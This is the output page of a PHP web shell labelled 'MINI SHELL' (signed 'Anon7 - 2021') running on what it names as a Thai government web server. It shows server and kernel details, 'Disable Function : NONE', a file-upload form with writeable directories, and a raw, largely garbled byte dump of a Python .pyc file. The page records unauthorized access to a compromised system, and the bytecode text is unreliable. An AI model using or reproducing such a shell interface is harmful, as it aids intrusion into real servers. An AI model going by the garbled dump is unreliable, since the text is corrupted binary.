MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/repomd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/repomd/mdUtils.pyc
mò
ýÉODc@s:dkZdkZd„Zd„Zd„Zd„ZdS(NcCs*t|ƒtijot|ƒ}n|S(N(ttypetargttypest
StringTypetstr(R((t2/usr/lib/python2.4/site-packages/repomd/mdUtils.pytrpmOutToStrsc	CsŽ|\}}}|\}}}t|ƒ}t|ƒ}t|ƒ}t|ƒ}t|ƒ}t|ƒ}ti|||f|||fƒ}|S(N(
te1tv1tr1te2tv2tr2RtrpmtlabelComparetrc(	t.0t.2RRR	R
RRR((Rt
compareEVRs$cCs|iƒg}|diƒ}xg|D]_}t|iƒ|ƒ}|djo|g}|iƒ}q&|djo|i|ƒq&q&W|S(Ni(	tpkgstpoptrett	returnEVRtnewesttpkgRRtappend(RRRRR((RtnewestInList,s
	
cCsUt|ƒ}|djogSnh}yx|D]}d||<q1WWntj
o
~nX|iƒSyt|ƒ}|i	ƒWntj
o
~n‚X|djpt
‚|d}d}}xM||jo?|||jo ||||<}|d7}n|d7}qÇW|| Sg}x,|D]$}||jo|i|ƒq)q)W|S(sReturn a list of the elements in s, but without duplicates.

    For example, unique([1,2,3,1,2,3]) is some permutation of [1,2,3],
    unique("abcabc") some permutation of ["a", "b", "c"], and
    unique(([1, 2], [2, 3], [1, 2])) some permutation of
    [[2, 3], [1, 2]].

    For best speed, all sequence elements should be hashable.  Then
    unique() will usually work in linear time.

    If not possible, the sequence elements should enjoy a total
    ordering, and if list(s).sort() doesn't raise TypeError it's
    assumed that they do enjoy a total ordering.  Then unique() will
    usually work in O(N*log2(N)) time.

    If that's not possible either, the sequence elements must support
    equality-testing.  Then unique() will usually work in quadratic
    time.
    iiN(tlentstntutxt	TypeErrortkeystlisttttsorttAssertionErrortlasttlastitiR(RR&R(R'RRR#R((Rtunique>sB

	



(R
RRRRR)(RRR
R)RR((Rt?s
					

Anon7 - 2021